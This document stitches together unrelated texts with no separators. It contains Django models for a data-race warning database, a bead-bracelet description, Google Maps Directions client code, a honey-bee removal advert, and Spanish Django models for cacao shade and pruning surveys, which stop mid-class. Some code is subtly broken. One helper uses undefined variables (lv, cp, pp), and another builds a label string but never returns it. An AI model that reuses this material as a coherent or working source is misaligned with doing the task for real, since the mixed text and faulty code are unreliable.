from django.db import models from django.db.models import permalink import re import sys def warn(msg): sys.stderr.write(msg) class Code_base(models.Model): program_name = models.CharField(max_length=50, core=True) version = models.CharField(max_length=40, core=True) compile_options = models.CharField(max_length=100) def __str__(self): return "%s v.%s" % (self.program_name, self.version) def get_absolute_url(self): return ('relay.warnings.views.code_detail', [str(self.id)]) get_absolute_url = permalink(get_absolute_url) class Admin: # Admin options go here pass class Note(models.Model): explaination = models.TextField(core=True) last_updated = models.DateTimeField(core=True, auto_now=True) def __str__(self): return "%s %s" % (self.explaination, self.last_updated) class Admin: # Admin options go here pass class Label(models.Model): label = models.CharField(max_length=50, core=True) example = models.TextField(core=True) def __str__(self): return self.label class Admin: # Admin options go here pass def first_labels(n, ls): reduce(lambda x, y: x + ", " + y, ls.all()[0:n], "") class Function(models.Model): cil_id = models.IntegerField(core=True, db_index=True) name = models.CharField(max_length=50, core=True) labels = models.ManyToManyField(Label, filter_interface=models.VERTICAL) program = models.ForeignKey(Code_base, limit_choices_to={}) def __str__(self): return "%s (%d)" % (self.name, self.cil_id) def first_labels(self): return first_labels(2, self.labels) class Admin: list_display = ('cil_id', 'name', 'program', 'first_labels') class Program_point(models.Model): file_name = models.CharField(max_length=100, core=True) line_num = models.IntegerField(core=True, db_index=True) parent_function = models.ForeignKey(Function, null=True, limit_choices_to={}) def __str__(self): return "%d in %s" % (self.line_num, self.file_name) class Admin: # Admin options go here pass class Lval(models.Model): var_id = models.IntegerField(null=True, db_index=True) printed = models.CharField(max_length=100, core=True) rep_size = models.IntegerField(null=True) declared_at = models.ForeignKey(Program_point, null=True) is_global = models.BooleanField() def __str__(self): s = self.printed if (self.var_id): s += " (%d)" % self.var_id if (self.rep_size): s += " |%d|" % self.rep_size return s class Admin: # Admin options go here pass class Call_path(models.Model): root_function = models.ForeignKey(Function, limit_choices_to={}) spawn_site = models.ForeignKey(Program_point, related_name="spawns", limit_choices_to={}) empty_ls = models.ForeignKey(Program_point, related_name="empty_ls", null=True, limit_choices_to={}) # not including the edges right now... def __str__(self): return self.root_function.__str__() + " -> ..." def program(self): return str(self.root_function.program) class Admin: list_display = ('program', 'root_function', 'spawn_site') class Call_edge(models.Model): path = models.ForeignKey(Call_path, limit_choices_to={}) caller = models.ForeignKey(Function, related_name="is_caller", limit_choices_to={}) callee = models.ForeignKey(Function, related_name="is_callee", limit_choices_to={}) def __str__(self): return str(self.caller) + " -> " + str(self.callee) class Admin: # Admin options go here pass class Access(models.Model): lval = models.ForeignKey(Lval, related_name="reads_writes") accessed_through = models.ForeignKey(Call_path) occurs_at = models.ForeignKey(Program_point) locks = models.ManyToManyField(Lval, filter_interface=models.VERTICAL) def __str__(self): return str(self.lval) + " @ " + str(self.occurs_at) def has_lock(self): return len(self.locks.all()[:1]) != 0 has_lock.boolean = True class Admin: list_display = ('lval', 'occurs_at', 'has_lock') search_fields = ['occurs_at'] class Run(models.Model): time_of_run = models.DateTimeField(editable=True, auto_now_add=True) code = models.ForeignKey(Code_base, limit_choices_to={}) changes_to_analysis = models.TextField(core=True) analysis_settings = models.TextField(core=True) def __str__(self): return str(self.code) + " " + str(self.time_of_run) def get_absolute_url(self): return ('relay.warnings.views.run_detail', [str(self.id)]) get_absolute_url = permalink(get_absolute_url) class Admin: list_display = ('id', 'code', 'time_of_run') list_filter = ('code', 'time_of_run') class Race(models.Model): access1 = models.ForeignKey(Access, core=True, related_name="racy1") access2 = models.ForeignKey(Access, core=True, related_name="racy2") note = models.ForeignKey(Note, core=True, null=True) labels = models.ManyToManyField(Label, filter_interface=models.VERTICAL) def __str__(self): return str(self.access1) + " [X] " + str(self.access2) def first_labels(self): return first_labels(2, self.labels) def add_label(self, label): self.labels.add(label) def remove_label(self, label): self.labels.remove(label) class Admin: list_display = ('access1', 'access2', 'first_labels') class Race_cluster(models.Model): races = models.ManyToManyField(Race, filter_interface=models.VERTICAL) run = models.ForeignKey(Run) cluster_id = models.IntegerField(null=True, core=True) def program(self): return str(self.run.code) def first_race(self): return str(self.races.all()[0]) def get_absolute_url(self): return ('relay.warnings.views.warn_detail', [str(self.id)]) get_absolute_url = permalink(get_absolute_url) def add_label(self, label): for r in self.races.all(): r.add_label(label) def remove_label(self, label): for r in self.races.all(): r.remove_label(label) class Admin: list_display = ('program', 'run', 'first_race') list_filter = ('run',) #---- Constructors that either get old matches, or creates new objs ----- def getCodeBase(name, ver, opt): return Code_base.objects.get_or_create (program_name=name, version=ver, compile_options = opt) def getFunc(c_id, n, prog): c_id = int(c_id) return Function.objects.get_or_create (cil_id=c_id, name=n, program=prog) def findFunc(c_id, prog): try: c_id = int(c_id) f = Function.objects.get(cil_id=c_id, program=prog) return f except: warn('Function not found %d\n' % c_id) return None def getPP(f, line, parent): args = {'line_num' : int(line), 'file_name' : f} # NULL != NULL in SQL sucks... if (parent == None): args['parent_function__isnull'] = True else: args['parent_function'] = parent obj, created = Program_point.objects.get_or_create(**args) return obj def getLval(vid, p_rep, size, decl, glob): # NULL != NULL in SQL sucks... args = {'printed' : p_rep , 'is_global' : glob } if (vid == None): args['var_id__isnull'] = True else: args['var_id'] = int(vid) if(size == None): args['rep_size__isnull'] = True else: args['rep_size'] = int(size) if(decl == None): args['declared_at__isnull'] = True else: args['declared_at'] = decl obj, created = Lval.objects.get_or_create(**args) return obj def getCallpath(root, spawn, empty_at, edges): found = None args = { 'root_function' : root, 'spawn_site' : spawn } filt_args = {} create_args = {} filt_args.update(args) if (empty_at == None): filt_args['empty_ls__isnull'] = True else: filt_args['empty_ls'] = empty_at matches = Call_path.objects.select_related().filter(**filt_args) edges.sort() # see which of the old call paths have the same set of edges for o in matches: db_edges = Call_edge.objects.filter(path=o).order_by( 'caller', 'callee') e = [(e.caller, e.callee) for e in db_edges] if (e == edges) : found = o break # if it didn't find any call paths w/ the same set of edges if (not found) : create_args.update(args) create_args['empty_ls'] = empty_at found = Call_path.objects.create(**create_args) for (f1, f2) in edges : Call_edge.objects.create(path=found, caller=f1, callee=f2) return found #-------- Access factories def matchLocksAccesses (accessMatches, locks): found = None for old in accessMatches: db_l = list(old.locks.all()) if (db_l == locks) : found = old break if (not found) : found = Access.objects.create(lval=lv,accessed_through=cp,occurs_at=pp) found.locks = locks found.save() return found def getAccess(lv, cp, pp, locks): # make sure lists are in sorted order before comparing locks.sort() matches = Access.objects.select_related().filter(lval=lv, accessed_through=cp, occurs_at=pp) # see which of the old accesses have the same set of locks found = matchLocksAccesses (matches, locks) return found def createAccess(lv, cp, pp, locks): acc = Access.objects.create(lval=lv, accessed_through=cp, occurs_at=pp) acc.locks = locks acc.save() return acc def getAccesses(lv, cp, pps, locks): res = [] locks.sort() outer_matches = Access.objects.filter(lval=lv, accessed_through=cp) for pp in pps: matches = outer_matches.select_related().filter(occurs_at=pp) # see which of the old accesses have the same set of locks found = matchLocksAccesses (matches, locks) res.append(found) return res #---------- def getRace(acc1, acc2): new, created = Race.objects.get_or_create(access1=acc1, access2=acc2) return new def createRace(acc1, acc2): race = Race(access1=acc1, access2=acc2) race.save() return race # Not useful -- use createRaceCluster instead def getRaceCluster(races, _run): found = None races.sort() matches = Race_cluster.objects.select_related().filter(run = _run) for old in matches: o_r = list(old.races.all()) if (o_r == races): found = old break if (not found): found = Race_cluster.objects.create(run = _run) found.races = races found.save() return found # Just create a new cluster and allow duplicates (won't happen, unless) # you try to re-use an old "run" def createRaceCluster(cid, races, run): # None != NULL in the Django mapping sucks... r = Race_cluster.objects.create(run = run) r.races = races if (cid != None): r.cluster_id = int(cid) else: print "Didn't have cluster_id" r.save() return r # Add labels to races def getLabel(labName): lab, created = Label.objects.get_or_create(label=labName) return lab # TODO add label to any race clusters that match a certain location
"Tila Inspiration" is a Red Panda Beads original design. It appears in the BeadStyle July 2012 issue. This bracelet is a three strand bracelet that pairs Miyuki Tila, 1.8mm Square and 15/0 Rocaille beads with Preciosa 4mm Bicone crystals. This version uses one of the newest Tila colors, just released in the Fall of 2012 and substitutes size 11/0 Miyuki Rocaille beads for the 15/0 seed beads.
# # Copyright 2014 Google Inc. All rights reserved. # # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. # """Performs requests to the Google Maps Directions API.""" from googlemaps import convert def directions(client, origin, destination, mode=None, waypoints=None, alternatives=False, avoid=None, language=None, units=None, region=None, departure_time=None, arrival_time=None, optimize_waypoints=False, transit_mode=None, transit_routing_preference=None): """Get directions between an origin point and a destination point. :param origin: The address or latitude/longitude value from which you wish to calculate directions. :type origin: string or dict or tuple :param destination: The address or latitude/longitude value from which you wish to calculate directions. :type destination: string or dict or tuple :param mode: Specifies the mode of transport to use when calculating directions. One of "driving", "walking", "bicycling" or "transit" :type mode: string :param waypoints: Specifies an array of waypoints. Waypoints alter a route by routing it through the specified location(s). :param alternatives: If True, more than one route may be returned in the response. :type alternatives: bool :param avoid: Indicates that the calculated route(s) should avoid the indicated features. :type avoid: list or string :param language: The language in which to return results. :type language: string :param units: Specifies the unit system to use when displaying results. "metric" or "imperial" :type units: string :param region: The region code, specified as a ccTLD ("top-level domain" two-character value. :type region: string :param departure_time: Specifies the desired time of departure. :type departure_time: int or datetime.datetime :param arrival_time: Specifies the desired time of arrival for transit directions. Note: you can't specify both departure_time and arrival_time. :type arrival_time: int or datetime.datetime :param optimize_waypoints: Optimize the provided route by rearranging the waypoints in a more efficient order. :type optimize_waypoints: bool :param transit_mode: Specifies one or more preferred modes of transit. This parameter may only be specified for requests where the mode is transit. Valid values are "bus", "subway", "train", "tram", "rail". "rail" is equivalent to ["train", "tram", "subway"]. :type transit_mode: string or list of strings :param transit_routing_preference: Specifies preferences for transit requests. Valid values are "less_walking" or "fewer_transfers" :type transit_routing_preference: string :rtype: list of routes """ params = { "origin": _convert_waypoint(origin), "destination": _convert_waypoint(destination) } if mode: # NOTE(broady): the mode parameter is not validated by the Maps API # server. Check here to prevent silent failures. if mode not in ["driving", "walking", "bicycling", "transit"]: raise ValueError("Invalid travel mode.") params["mode"] = mode if waypoints: waypoints = convert.as_list(waypoints) waypoints = [_convert_waypoint(waypoint) for waypoint in waypoints] if optimize_waypoints: waypoints = ["optimize:true"] + waypoints params["waypoints"] = convert.join_list("|", waypoints) if alternatives: params["alternatives"] = "true" if avoid: params["avoid"] = convert.join_list("|", avoid) if language: params["language"] = language if units: params["units"] = units if region: params["region"] = region if departure_time: params["departure_time"] = convert.time(departure_time) if arrival_time: params["arrival_time"] = convert.time(arrival_time) if departure_time and arrival_time: raise ValueError("Should not specify both departure_time and" "arrival_time.") if transit_mode: params["transit_mode"] = convert.join_list("|", transit_mode) if transit_routing_preference: params["transit_routing_preference"] = transit_routing_preference return client._get("/maps/api/directions/json", params)["routes"] def _convert_waypoint(waypoint): if not convert.is_string(waypoint): return convert.latlng(waypoint) return waypoint
Honey bees are the only surviving group of bees from the Apini tribe, which is under the Apis genus. They are known for producing and storing honey, or liquefied sugar, as well as building impressively large nests using wax secreted by workers in a particular colony. The honey bee is one member of the insect class Insecta. These insects are members of the subfamily Apinae, which produce and store liquefied sugar, otherwise known as honey. Honey bees measure about 15 mm long and are light brown in color. Honey bees are usually oval-shaped creatures with golden-yellow colors and brown bands. Although the body color of honey bees varies between species and some honey bees have predominantly black bodies, almost all honey bees have varying dark-to-light striations. These light and dark stripes serve a purpose for the survival of the honey bee: unlike other species that hide when they sense predators close by, the brightly colored bodies of the honey bee act as a warning to predators or honey robbers of the honey bees' ability to sting. Honey bees can produce substantial amounts of honey, as can several other bee species. As pollinators, honey bees are critical to the environment and the food supply. Unfortunately, they also can become a medical and structural threat if they nest near people and buildings. Call us today to get a techinician out to remove the Honey Bees!
# -*- coding: utf-8 -*- from django.db import models from django.contrib.auth.models import User from mapeo.models import Persona from sorl.thumbnail import ImageField from multiselectfield import MultiSelectField # Create your models here. class FichaSombra(models.Model): productor = models.ForeignKey( Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor') tecnico = models.ForeignKey( Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha sombra" verbose_name_plural = "Ficha sombra" class Foto1(models.Model): """docstring for Foto1""" foto = ImageField(upload_to='foto1Sombra') ficha = models.ForeignKey(FichaSombra) CHOICE_TIPO_PUNTO = ( (1, 'Perennifolia'), (2, 'Caducifolia'), ) CHOICE_TIPO_USO_PUNTO = ( (1, 'Leña'), (2, 'Fruta'), (3, 'Madera'), (4, 'Sombra'), (5, 'Nutrientes'), ) class Especies(models.Model): nombre = models.CharField('Nombre de la especie', max_length=250) nombre_cientifico = models.CharField('Nombre cientifico de la especie', max_length=250, blank=True, null=True) tipo = models.IntegerField(choices=CHOICE_TIPO_PUNTO, blank=True, null=True) tipo_uso = MultiSelectField(choices=CHOICE_TIPO_USO_PUNTO, verbose_name='Tipo de uso', blank=True, null=True) foto = ImageField(upload_to='fotoEspecies', blank=True, null=True) #pequenio p_altura = models.FloatField('Altura en (mt)', blank=True, null=True) p_diametro = models.FloatField('Diametro en (cm)', blank=True, null=True) p_ancho = models.FloatField('Ancho copa en (mt)s', blank=True, null=True) #mediano m_altura = models.FloatField('Altura en (mt)', blank=True, null=True) m_diametro = models.FloatField('Diametro en (cm)', blank=True, null=True) m_ancho = models.FloatField('Ancho copa en (mt)s', blank=True, null=True) #grande g_altura = models.FloatField('Altura en (mt)', blank=True, null=True) g_diametro = models.FloatField('Diametro en (cm)', blank=True, null=True) g_ancho = models.FloatField('Ancho copa en (mt)s', blank=True, null=True) def __unicode__(self): return self.nombre class Meta: verbose_name = "Especie" verbose_name_plural = "Especies" CHOICE_TIPO_COPA_PUNTO = ( (1, 'Copa ancha'), (2, 'Copa angosta'), (3, 'Copa mediana'), ) class Punto1(models.Model): especie = models.ForeignKey(Especies) pequena = models.FloatField(verbose_name='Pequeña') mediana = models.FloatField(verbose_name='Mediana') grande = models.FloatField(verbose_name='Grande') tipo = models.IntegerField(choices=CHOICE_TIPO_PUNTO) tipo_de_copa = models.IntegerField(choices=CHOICE_TIPO_COPA_PUNTO) uso = models.IntegerField(choices=CHOICE_TIPO_USO_PUNTO) ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Punto1" class Cobertura1(models.Model): cobertura = models.FloatField('% de cobertura de sombra') ficha = models.ForeignKey(FichaSombra) #------------------- fin de punto 1 -------------------------------------- class Foto2(models.Model): """docstring for Foto2""" foto = ImageField(upload_to='foto2Sombra') ficha = models.ForeignKey(FichaSombra) class Punto2(models.Model): especie = models.ForeignKey(Especies) pequena = models.FloatField(verbose_name='Pequeña') mediana = models.FloatField(verbose_name='Mediana') grande = models.FloatField(verbose_name='Grande') tipo = models.IntegerField(choices=CHOICE_TIPO_PUNTO) tipo_de_copa = models.IntegerField(choices=CHOICE_TIPO_COPA_PUNTO) uso = models.IntegerField(choices=CHOICE_TIPO_USO_PUNTO) ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Punto2" class Cobertura2(models.Model): cobertura = models.FloatField('% de cobertura de sombra') ficha = models.ForeignKey(FichaSombra) #------------------- fin de punto 2 -------------------------------------- class Foto3(models.Model): """docstring for Foto3""" foto = ImageField(upload_to='foto3Sombra') ficha = models.ForeignKey(FichaSombra) class Punto3(models.Model): especie = models.ForeignKey(Especies) pequena = models.FloatField(verbose_name='Pequeña') mediana = models.FloatField(verbose_name='Mediana') grande = models.FloatField(verbose_name='Grande') tipo = models.IntegerField(choices=CHOICE_TIPO_PUNTO) tipo_de_copa = models.IntegerField(choices=CHOICE_TIPO_COPA_PUNTO) uso = models.IntegerField(choices=CHOICE_TIPO_USO_PUNTO) ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Punto3" class Cobertura3(models.Model): cobertura = models.FloatField('% de cobertura de sombra') ficha = models.ForeignKey(FichaSombra) #------------------- fin de punto 3 -------------------------------------- class AnalisisSombra(models.Model): densidad = models.IntegerField( choices=( (1, 'Alta'), (2, 'Adecuada'), (3, 'Baja'), ), verbose_name='Densidad de árboles de sombra') forma_copa = models.IntegerField( choices=( (1, 'Ancha'), (2, 'Adecuada'), (3, 'Angosta'), ), verbose_name='Forma de copa de árboles de sombra') arreglo = models.IntegerField(choices=((1, 'Uniforme'), (2, 'Desuniforme'),), verbose_name='Arreglo de árboles') hojarasca = models.IntegerField( choices=( (1, 'Suficiente'), (2, 'No Suficiente'), ), verbose_name='Cantidad de hojarasca ') calidad_hojarasca = models.IntegerField( choices=( (1, 'Rico en nutrientes'), (2, 'Pobre en nutriente'), ), verbose_name='Calidad de hojarasca ') competencia = models.IntegerField( choices=( (1, 'Fuerte'), (2, 'Mediana'), (3, 'Leve'), ), verbose_name='Competencia de árboles con cacao') Problema = models.IntegerField( choices=( (1, 'Cobertura'), (2, 'Mal arreglo'), (3, 'Competencia'), (4, 'Densidad Tipo de árboles'), (5, 'Ninguno')), verbose_name='Problema de sombra') ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Análisis sobre sombra y árboles de sombra" CHOICE_ACCIONES_SOMBRA = ( (1, 'Reducir la sombra'), (2, 'Aumentar la sombra'), (3, 'Ninguna'), ) CHOICE_PODA = ( (1, 'Si'), (2, 'No'), ) CHOICE_TODO = ( (1, 'En todo la parcela '), (2, 'Solo en una parte de la parcela'), ) class AccionesSombra(models.Model): accion = models.IntegerField( choices=CHOICE_ACCIONES_SOMBRA, verbose_name="Que acciones hay que realizar ") ficha = models.ForeignKey(FichaSombra) class ReducirSombra(models.Model): poda = models.IntegerField( choices=CHOICE_PODA, verbose_name="Podando árboles") poda_cuales = models.CharField(max_length=350) eliminando = models.IntegerField( choices=CHOICE_PODA, verbose_name="Cambiando árboles") eliminando_cuales = models.CharField(max_length=350) todo = models.IntegerField( choices=CHOICE_TODO, verbose_name="En todo la parcela o Solo en una parte de la parcela") que_parte = models.CharField(max_length=250) ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Si marca reducir la sombra" class AumentarSombra(models.Model): sembrando = models.IntegerField( choices=CHOICE_PODA, verbose_name="Sembrando árboles") sembrando_cuales = models.CharField(max_length=350) cambiando = models.IntegerField( choices=CHOICE_PODA, verbose_name="Cambiando árboles") cambiando_cuales = models.CharField(max_length=350) todo = models.IntegerField( choices=CHOICE_TODO, verbose_name="En todo la parcela o Solo en una parte de la parcela") que_parte = models.CharField(max_length=250) ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name_plural = "Si marca aumentar la sombra" class ManejoSombra(models.Model): herramientas = models.IntegerField( choices=CHOICE_PODA, verbose_name="Tiene herramienta para manejo de sombra? ") formacion = models.IntegerField( choices=CHOICE_PODA, verbose_name="Tiene formación para manejo de sombra? ") ficha = models.ForeignKey(FichaSombra) class Meta: verbose_name = "Herramienta y formación de sombras" #-------------------------- fin ficha sombra ------------------------------ class FichaPoda(models.Model): productor = models.ForeignKey( Persona, verbose_name='Nombre de productor o productora', related_name='setproductor') tecnico = models.ForeignKey( Persona, verbose_name='Nombre de técnico', related_name='settecnico') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha poda" verbose_name_plural = "Ficha poda" CHOICE_SI_NO = ( (1, 'Si'), (2, 'No'), ) CHOICE_PRODUCCION = ( (1, 'Alta'), (2, 'Media'), (3, 'Baja'), ) CHOICE_PLANTAS1 = ( (1, 'Altura en mt'), (2, 'Ancho de copa mt'), ) CHOICE_PLANTAS2 = ( (1, 'Formación de horqueta'), (2, 'Ramas en contacto '), (3, 'Ramas entrecruzadas'), (4, 'Ramas cercanas al suelo'), (5, 'Chupones'), (6, 'Penetración de Luz'), ) CHOICE_PLANTAS3 = ( (1, 'Nivel de producción'), ) class Punto1A(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS1) uno = models.FloatField(verbose_name='1') dos = models.FloatField(verbose_name='2') tres = models.FloatField(verbose_name='3') cuatro = models.FloatField(verbose_name='4') cinco = models.FloatField(verbose_name='5') seis = models.FloatField(verbose_name='6') siete = models.FloatField(verbose_name='7') ocho = models.FloatField(verbose_name='8') nueve = models.FloatField(verbose_name='9') diez = models.FloatField(null=True, blank=True, verbose_name='10') ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto1B(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS2) uno = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='1') dos = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='2') tres = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='5') seis = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='6') siete = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='9') diez = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto1C(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='1') dos = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='2') tres = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='5') seis = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='6') siete = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='9') diez = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() #----------------------------- fin del punto 1 --------------------------- class Punto2A(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS1) uno = models.FloatField(verbose_name='1') dos = models.FloatField(verbose_name='2') tres = models.FloatField(verbose_name='3') cuatro = models.FloatField(verbose_name='4') cinco = models.FloatField(verbose_name='5') seis = models.FloatField(verbose_name='6') siete = models.FloatField(verbose_name='7') ocho = models.FloatField(verbose_name='8') nueve = models.FloatField(verbose_name='9') diez = models.FloatField(null=True, blank=True, verbose_name='10') ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto2B(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS2) uno = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='1') dos = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='2') tres = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='5') seis = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='6') siete = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='9') diez = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto2C(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='1') dos = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='2') tres = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='5') seis = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='6') siete = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='9') diez = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() #------------ fin del punto 2 ---------------------------- class Punto3A(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS1) uno = models.FloatField(verbose_name='1') dos = models.FloatField(verbose_name='2') tres = models.FloatField(verbose_name='3') cuatro = models.FloatField(verbose_name='4') cinco = models.FloatField(verbose_name='5') seis = models.FloatField(verbose_name='6') siete = models.FloatField(verbose_name='7') ocho = models.FloatField(verbose_name='8') nueve = models.FloatField(verbose_name='9') diez = models.FloatField(null=True, blank=True, verbose_name='10') ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto3B(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS2) uno = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='1') dos = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='2') tres = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='5') seis = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='6') siete = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='9') diez = models.IntegerField(choices=CHOICE_SI_NO, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() class Punto3C(models.Model): plantas = models.IntegerField(choices=CHOICE_PLANTAS3) uno = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='1') dos = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='2') tres = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='3') cuatro = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='4') cinco = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='5') seis = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='6') siete = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='7') ocho = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='8') nueve = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='9') diez = models.IntegerField(choices=CHOICE_PRODUCCION, verbose_name='10', null=True, blank=True) ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return self.get_plantas_display() # -------------------- fin punto 3 ---------------------------- CHOICES_PROBLEMA_PLANTA = (('A', 'Altura'), ('B', 'Ancho'), ('C', 'Ramas'), ('D', 'Horqueta'), ('E', 'Chupones'), ('F', 'Poca entrada de Luz'), ('G', 'Baja productividad'), ('H', 'Ninguna'), ) CHOICES_TIPO_PODA = (('A', 'Poda de copa'), ('B', 'Poda de ramas'), ('C', 'Ramas'), ('D', 'Formar horquetas'), ('E', 'Deschuponar'), ('F', 'Ninguna'), ) CHOICE_REALIZA_PODA = ( (1, 'En toda la parcela'), (2, 'En Varios partes'), (3, 'En algunas partes'), ) CHOICE_VIGOR = ( (1, 'Todas'), (2, 'Algunas'), (3, 'Ninguna'), ) CHOICE_ENTRADA_LUZ = ( (1, 'Poda de copa'), (2, 'Quitar ramas entrecruzadas'), (3, 'Arreglar la sombra'), ) CHOICES_FECHA_PODA = (('A', 'Enero'), ('B', 'Febrero'), ('C', 'Marzo'), ('D', 'Abril'), ('E', 'Mayo'), ('F', 'Junio'), ('G', 'Julio'), ('H', 'Agosto'), ('I', 'Septiembre'), ('J', 'Octubre'), ('K', 'Noviembre'), ('L', 'Diciembre'), ) class AnalisisPoda(models.Model): campo1 = MultiSelectField(choices=CHOICES_PROBLEMA_PLANTA, verbose_name='¿Cuáles son los problemas principales en cuanto a las estructuras de las plantas?') campo2 = MultiSelectField(choices=CHOICES_TIPO_PODA, verbose_name='¿Qué tipo de poda podemos aplicar para mejorar la estructura de las plantas?') campo3 = models.IntegerField(choices=CHOICE_REALIZA_PODA, verbose_name='¿Dónde se va a realizar la poda para mejorar la estructura de las plantas?') campo4 = models.IntegerField(choices=CHOICE_VIGOR, verbose_name='Las plantas tienen suficiente vigor, hojas y ramas para ser podadas?') campo5 = models.IntegerField(choices=CHOICE_ENTRADA_LUZ, verbose_name='¿Cómo podemos mejorar la entrada de luz en las plantas con la poda?') campo6 = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='¿Cuándo se van a realizar las podas?') ficha = models.ForeignKey(FichaPoda) def __unicode__(self): return 'Analisis' class Meta: verbose_name_plural = 'Análisis de poda y acciones' class ManejoPoda(models.Model): herramientas = models.IntegerField( choices=CHOICE_PODA, verbose_name="Tiene herramienta para manejo de poda? ") formacion = models.IntegerField( choices=CHOICE_PODA, verbose_name="Tiene formación para manejo de poda? ") ficha = models.ForeignKey(FichaPoda) class Meta: verbose_name = "Herramienta y formación de poda" # ---------------------------- fin de ficha poda ------------------------------ class FichaPlaga(models.Model): productor = models.ForeignKey(Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_plaga') tecnico = models.ForeignKey(Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_plaga') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class 